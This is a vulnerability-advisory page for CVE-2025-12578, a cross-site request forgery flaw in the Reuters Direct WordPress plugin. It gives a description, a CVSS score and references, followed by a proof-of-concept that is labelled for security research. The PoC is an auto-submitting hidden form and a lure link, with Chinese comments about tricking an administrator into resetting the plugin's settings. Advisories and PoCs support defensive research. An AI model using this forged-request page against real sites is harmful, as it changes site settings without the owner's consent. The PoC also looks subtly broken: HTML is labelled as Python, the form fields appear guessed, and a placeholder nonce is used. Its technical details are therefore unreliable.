CVE-2025-12578

Description

The Reuters Direct plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.0.0. This is due to missing or incorrect nonce validation on the the 'class-reuters-direct-settings.php' page. This makes it possible for unauthenticated attackers to reset the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Reuters Direct plugin for WordPress <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-12578 - Reuters Direct Settings Reset -->
<html>
<body>
  <h2>CVE-2025-12578 CSRF PoC</h2>
  <p>诱骗管理员点击此链接将重置Reuters Direct插件设置</p>
  
  <!-- 自动提交的表单 -->
  <form id="csrfForm" action="http://target-site.com/wp-admin/admin.php?page=reuters-direct-settings" method="POST">
    <input type="hidden" name="action" value="reset_settings">
    <input type="hidden" name="reuters_api_key" value="">
    <input type="hidden" name="reuters_category" value="">
    <input type="hidden" name="submit" value="Reset to Defaults">
  </form>

  <script>
    // 自动提交表单
    document.getElementById('csrfForm').submit();
  </script>
  
  <p>或者诱骗管理员点击以下链接（GET请求方式）：</p>
  <a href="http://target-site.com/wp-admin/admin.php?page=reuters-direct-settings&action=reset_settings&_wpnonce=attacker_controlled_value">点击此处重置设置</a>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12578
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12578
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12578/
[4] VulDB https://vuldb.com/cve/CVE-2025-12578
[5] https://wordpress.org/plugins/reuters-direct/
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/0e98a899-1578-45bf-ba1d-92703e38abd9?source=cve

Raw JSON Data

JSON

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